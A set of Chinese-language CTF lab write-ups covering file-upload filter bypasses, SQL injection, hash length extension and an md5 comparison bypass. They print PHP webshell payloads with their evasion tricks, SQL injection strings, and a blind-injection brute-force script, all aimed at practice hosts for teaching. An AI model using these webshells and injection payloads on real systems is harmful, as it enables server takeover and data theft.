危险函数绕过上传
思路网页有上传文件的入口,先尝试上传一个一句话木马
<?php eval($_POST['cssec']); ?>
网页提示
服务器检测到文件包含危险内容,启动了查杀程序。
对危险内容的检验,修改一句话木马为
<?php $_POST['cssec']; ?>
这样可以成功绕过,说明是对可以命令执行的危险函数的过滤,改为
<?php $_GET['func']($_GET['args']); ?>
连接木马
http://ctf.seek2.top:32853/uploads/exp1.php?func=system&args=cat%20/flag
得到flag,也可以尝试其它免杀方式,包括使用反序列化知识,chr(),字符串拼接等等
PHP标签绕过上传
思路网页有上传文件的入口,先尝试上传一个一句话木马
<?php eval($_POST['cssec']); ?>
网页提示
服务器检测到<?php,启动了查杀程序。
对php 标签的检验,修改一句话木马为
<? eval($_POST['cssec']); ?>
使用一种php短标签,可以绕过
文件 exp.php 已经上传。文件路径: uploads/exp.php
连接木马,得到flag
文件头绕过上传
思路网页有上传文件的入口,先尝试上传一个一句话木马
<?php eval($_POST['cssec']); ?>
网页提示
服务器检测到<?php,启动了查杀程序。
可能是对文件头或者文件内容的检验,修改一句话木马为
GIF89a<?php eval($_POST['cssec']); ?>
添加gif的文件头,不会影响php的解析
文件 exp.php 已经上传。文件路径: uploads/exp.php
连接木马,得到flag
双写绕过上传
思路网页有上传文件的入口,先尝试上传一个一句话木马
<?php eval($_POST['cssec']); ?>
网页提示
文件 exp.php 已经上传。文件路径: uploads/exp.
php后缀名被替换为空了,尝试双写绕过,改为exp.phphpp 上传
文件 exp.phphpp 已经上传。文件路径: uploads/exp.hpp
连接木马,得到flag
MIME绕过上传
背景文件上传是许多网站的一种常见功能,但如果没有正确处理,可能会被利用来上传恶意文件,如webshell。
一句话木马是一种常见的webshell,通常只有一行代码,但可以在服务器上执行任意命令。例如:
<?php @eval($_POST['cssec']); ?>
这段代码会执行通过POST请求发送的任意PHP代码,只要提供正确的密码。就可以利用这个webshell来控制服务器,例如执行系统命令。
思路网页有上传文件的入口,先尝试上传一个一句话木马
<?php eval($_POST['cssec']); ?>
网页提示
只允许上传:image/jpeg,image/png类型和markdown文件;
说明通过HTTP的标头在判断,拦截流量
POST /module/upload.php HTTP/1.1Host: ctf.seek2.top:32841Content-Length: 234Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: ht ...
布尔盲注实验
背景布尔盲注通过观察应用程序的响应来推断SQL查询的结果。在布尔盲注中,发送特定的SQL语句,这些语句的结果是一个布尔值(真或假)。然后,根据应用程序的响应来推断这个布尔值。
例如,可以 发送如下的SQL语句:
' AND substring(database(),1,1)='a
如果应用程序的响应与正常的响应不同,那么就可以推断出数据库的名称的第一个字符不是’a’。
使用Python进行布尔盲注的演示脚本:
import requestsurl = "http://ctf.seek2.top/page.php?id=1"charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"result = ""for i in range(1, 10): for char in charset: payload = f"' AND substring(database(),{i ...
报错注入实验
背景报错注入利用了数据库错误信息来获取关于数据库结构的信息。当输入特定的SQL语句时,如果没有正确处理这些输入,可能会触发数据库错误,并将错误信息返回给用户。
例如,攻击者可能会尝试输入一个无效的SQL语句,如' OR 'x'='x。如果应用程序没有正确处理这个输入,可能会导致数据库执行如下的SQL语句:
SELECT * FROM users WHERE username = '' OR 'x'='x'
由于'x'='x'总是为真,这个查询将返回所有用户的信息。如果将数据库的错误信息直接返回给用户,攻击者就可以利用这些信息来了解数据库的结构,从而构造更有效的攻击。
报错注入的关键在于利用数据库的错误信息。
思路
按提示输入 221101 ,得到
http://ctf.seek2.top:32835/result.php?id=221101查询成功
说明 id 是注入点, 且无回显,需要使用报错注入
输入 221101 and 1=1,判断注 ...
联合注入实验
背景在SQL注入攻击中,联合注入利用了SQL的UNION操作符,将查询结果与原始查询结果合并,从而获取敏感信息。
在进行联合注入时,首先需要确定原始SQL查询返回的列数。这通常可以通过添加ORDER BY子句并逐渐增加列数来实现。当列数超过实际值时,数据库将返回错误。
一旦确定了列数,就可以构造UNION查询。这个查询需要包含与原始查询相同数量的列,并且每列的数据类型也需要匹配。通常会在这个查询中包含从其他表中获取的敏感信息,例如用户的用户名和密码。
例如,如果原始查询是
SELECT username, password FROM users WHERE id = $id
可以提交如下的$id:
1 UNION SELECT username, password FROM admin
这将导致数据库执行如下的查询:
SELECT username, password FROM users WHERE id = 1 UNION SELECT username, password FROM admin
这个查询将返回用户表中id为1的用户的用户名和密码,以及管理员表中所有用户的用 ...
哈希长度拓展攻击
源码<?phperror_reporting(0);$key = getKey();$username = $_POST['username'];$data = $_POST['data'];$sign = $_COOKIE["sign"];if (!empty($sign)) { if ($username === "jwt") { if ($sign === md5($key . $username . $data)) { if (strpos($data, 'sec')) { $flag = file_get_contents('/flag'); echo $flag; } else echo "数据似乎没有被恶意篡改,但服务器接收到的数据中不包含sec"; ...
字符型强比较漏洞
源码<?phperror_reporting(0);if ((string)$_POST['var1'] !== (string)$_POST['var2'] && md5($_POST['var1']) === md5($_POST['var2'])) { $flag = file_get_contents('/flag'); echo $flag;} else { echo "绕过PHP检测就可以得到FLAG";}?>
思路有关强比较/弱比较漏洞的原理可参考:
https://www.yuque.com/shiyizhesonder/sonder39/xit572hsmwbxqkae
拦截请求并更改为POST , 传入如下参数即可绕过,也可尝试其它绕过方法
POST / HTTP/1.1Host: ctf.seek2.top:32799Cache-Control: m ...